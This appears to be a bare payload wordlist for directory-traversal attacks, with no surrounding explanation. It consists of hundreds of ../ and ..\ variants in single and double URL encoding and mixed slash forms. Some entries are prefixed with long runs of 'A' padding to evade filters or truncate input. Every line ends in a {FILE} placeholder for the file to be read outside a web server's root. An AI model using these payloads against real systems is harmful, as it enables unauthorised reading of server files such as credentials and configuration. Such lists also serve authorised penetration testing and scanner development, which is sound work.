%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE}<br /> 